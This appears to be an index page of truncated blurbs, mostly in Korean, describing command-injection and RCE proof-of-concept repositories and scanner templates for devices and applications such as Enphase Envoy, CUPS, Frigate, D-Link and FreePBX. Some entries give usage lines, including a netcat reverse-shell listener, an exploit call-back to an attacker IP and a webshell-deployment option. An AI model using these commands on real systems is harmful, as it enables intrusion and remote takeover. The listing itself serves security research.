CVE-2023-33869-RCE-PoC

에너지 보안 및 신뢰성 센터 - UNC Charlotte CVE-2023-33869는 Enphase Envoy 펌웨어 버전 D7.0.88에 영향을 미치는 명령 삽입 취약점입니다. 이 취약점은 공격자가 영향을 받는 장치에서 루트 권한으로 임의의 명령을 주입 및 실행할 수 있게 합니다. Enphase Envoy는 주거용 및 상업용 태양광 에너지 시스템에 흔히 배포되는 태양광 마이크로인버터 게이트웨이 장치로서, 이 취약점은 중요 인프라 및 IoT 환경에 특히 우려되는 요소입니다...

CVE-2022-25765

CVE-2022-25765 익스플로잇 CVE-2022-25765, PDFKit-CMD-Injection에 대한 작은 PoC 익스플로잇 사용법 1. 공격 머신에서 netcat 리스너를 시작합니다: nc -lvnp 4444 2. 익스플로잇을 실행합니다: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 예시: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444 매개변수: -t,...

CVE-2020-12124

IoT 익스플로잇 해부: Hands-On부터 RCE까지 원본: https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce David E. Baker 작성, 2023년 6월 1일 게시 서문 본 연구는 2020년 6월 기준 Wavlink Wireless-AC1200 기가비트 라우터의 펌웨어를 대상으로 합니다. 여기서 논의된 취약점은 공급업체에서 패치되었을 수도 있고 그렇지 않을 수도 있지만, 이는 여정 자체가 결론보다...

CVE-2026-25643

Frigate NVR ≤ 0.16.3 블라인드 RCE 익스플로잇 CVE-2026-25643 PoC 📜 설명 이 Python 익스플로잇은 Frigate NVR 0.16.3 이하 버전의 중요한 구성 조작 취약점인증된 경로 및 인증되지 않은 경로 모두을 대상으로 합니다. 악성 go2rtc 스트림과 가짜 카메라 항목을 주입하여 서비스 재시작 중 Frigate 프로세스로 임의 명령 실행을 트리거합니다 — 리버스 셸이나 출력 캡처가 필요하지 않습니다. 🛠️ 설치 !NOTE 프로젝트 종속성을 위한 깨끗하고 격리된 환경을 보장하려면...

CVE-2025-55182-Exploit

React2Shell CVE-2025-55182 - 脆弱性を意図的に含むDockerラボ 安全性を考慮せずにChild Processを扱うことでリモートコード実行RCEを実演する、意図的に脆弱性を含むNext.jsアプリケーションです。このラボは教育目的とセキュリティテスト用に設計されています。 ⚠️ 警告: このアプリケーションを公開サーバーで実行しないでください。リモートコード実行の脆弱性が含まれています。 シナリオ...

Cups-RCE-Exploit

CUPS RCE 익스플로잇 - CVE-2024-47176 체인 개요 2024년 9월에 발견된 CUPSCommon Unix Printing System 원격 코드 실행 취약점 체인을 대상으로 하는 완전히 동작하는 개념 증명 익스플로잇입니다. 이 체인은 CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177 네 가지 CVE로 구성되며, 이들이 결합되어 취약한 버전의 CUPS를 실행 중인 모든 Linux 시스템에서 인증되지 않은 원격 공격자가 임의의 명령을 실행할 수 있게...

CVE-2026-67599_ClearOS_RCE

로그 뷰어 필터 매개변수의 OS 명령 주입 패키지: ClearFoundation 테스트된 버전: ClearOS 7.9.1.342252 취약점 유형: OS 명령 주입 CWE-78 심각도: 높음 CVE : CVE-2026-67599 CVSS v3.1 벡터: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 점수: 7.2 이 CVE-2026-67599를 대신해 할당하고 추적하는 데 도움을 주신 VulnCheck에 감사드립니다. 제품 설명 ClearOS는 CentOS/RHEL 기반으로 구축된 운영 체제로...

CVE-2026-35585-poc

CVE-2026-35585: File Browser OS 명령 인젝션 PoC English version 개요 이 리포지토리는 File Browser버전 2.0.02.33.1에서 발견된 중대한 OS 명령 인젝션 취약점 CVE-2026-35585 의 Proof of ConceptPoC입니다. 이 취약점은 "Custom Command Hooks" 기능에 존재합니다. 셸 실행 시 $FILE이나 $USERNAME 등의 환경 변수가 충분히 샌니타이즈되지 않기 때문에, 파일 업로드 권한이 있는 인증된 사용자는 악의적인 파일명을 이용해 호...

CVE-2025-69212-PoC

CVE-2025-69212 - OpenSTAManager OS 명령 주입 PoC 사용법 의존성 설치: pip install -r requirements.txt 단일 명령 실행 및 출력 확인: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' -c 'id' 대신 영구적인 PHP 웹쉘 배포: python3 cve-2025-69212poc.py -u http://target.com -U admin -P 'password' --shell 옵션 플래그| 설...

CVE-2026-40176

CVE-2026-40176 — Composer Perforce 드라이버 명령 주입 개념 증명 자체 포함된 OOP 스타일 PHP 개념 증명으로, Composer의 Perforce 저장소 드라이버에서 명령 주입 취약점을 시연하고 차등 검증 합니다. PoC는 동일한 악성 composer.json을 두 개의 Composer 바이너리영향을 받는 릴리스2.9.5와 수정된 릴리스2.9.6에 대해 실행하여, 영향을 받는 버전에서만 실행되고 수정된 버전에서는 실행되지 않는 부작용주입된 셸 명령으로 작성된 마커 파일을 관찰함으로써 버그를...

CVE-2023-28354

CVE-2023-28354 취약점 설명 Opsview Monitor Agent 6.8에서 인증되지 않은 원격 공격자가 임의의 명령을 실행할 수 있는 취약점이 확인되었습니다. 인증되지 않은 공격자는 Windows에서 기본 Opsview Agent Monitor 스크립트를 호출할 때 명령줄 이스케이프 시퀀스를 제공하여 이 취약점을 악용할 수 있으며, 이를 통해 임의의 시스템 명령 실행이 가능합니다. 설명 Windows의 Opsview Agent 서비스는 기본적으로 Local System 계정으로 실행됩니다. 이 기본 구성에는 여러...

rConfig <= 3.9.4 - Authenticated OS Command Injection

lib/ajaxHandlers/ajaxAddTemplate.php in rConfig through 3.9.4 does not properly sanitize the fileName POST parameter before using it in a shell command, allowing an authenticated attacker to inject arbitrary OS commands. This template uses default admin credentials to log in before triggering the...

CentOS Web Panel - OS Command Injection

The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution. id: CVE-2021-31324 info: name: CentOS Web Panel - OS Command Injection author: ritikchaddha severity: critical description: | The unprivileged user portal...

D-Link - Unauthenticated Remote Code Execution

OS command injection vulnerability in soap.cgi soapcgimain in cgibin in D-Link DIR-880L DIR-880LREVAFIRMWAREPATCH1.08B04 and previous versions, DIR-868L DIR868LA1FW112b04 and previous versions, DIR-65L DIR-865LREVAFIRMWAREPATCH1.08.B01 and previous versions, and DIR-860L DIR860LA1FW110b04 and...

TerraMaster TOS <.1.29 - Remote Code Execution

TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with for example OS commands in the opt parameter. id:...

Zeroshell 3.9.3 - Command Injection

Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character. id: CVE-2020-29390 info: name: Zeroshell 3.9.3 - Command...

Pandora FMS 7.0NG - Remote Command Injection

Pandora FMS 7.0NG allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ipsrc parameter in an index.php?operation/netflow/nfliveview request. id: CVE-2019-20224 info: name: Pandora FMS 7.0NG - Remote Command Injection author: ritikchaddha severity: hig...

Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection

Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. id: CVE-2021-42071 info: name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection author: gy741 severity: critical description: Visual...

D-Link Routers - Remote Command Injection

D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for...

FreePBX >= 17.0.2.36 && < 17.0.3 - Authenticated Command Injection

FreePBX Endpoint Manager 17.0.2.36 to = 17.0.2.36 && 17.0.3 - Authenticated Command Injection author: th3y severity: critical description: | FreePBX Endpoint Manager 17.0.2.36 to 17.0.3 contains a command injection caused by improper sanitization in filestore module's testconnection checksshconne...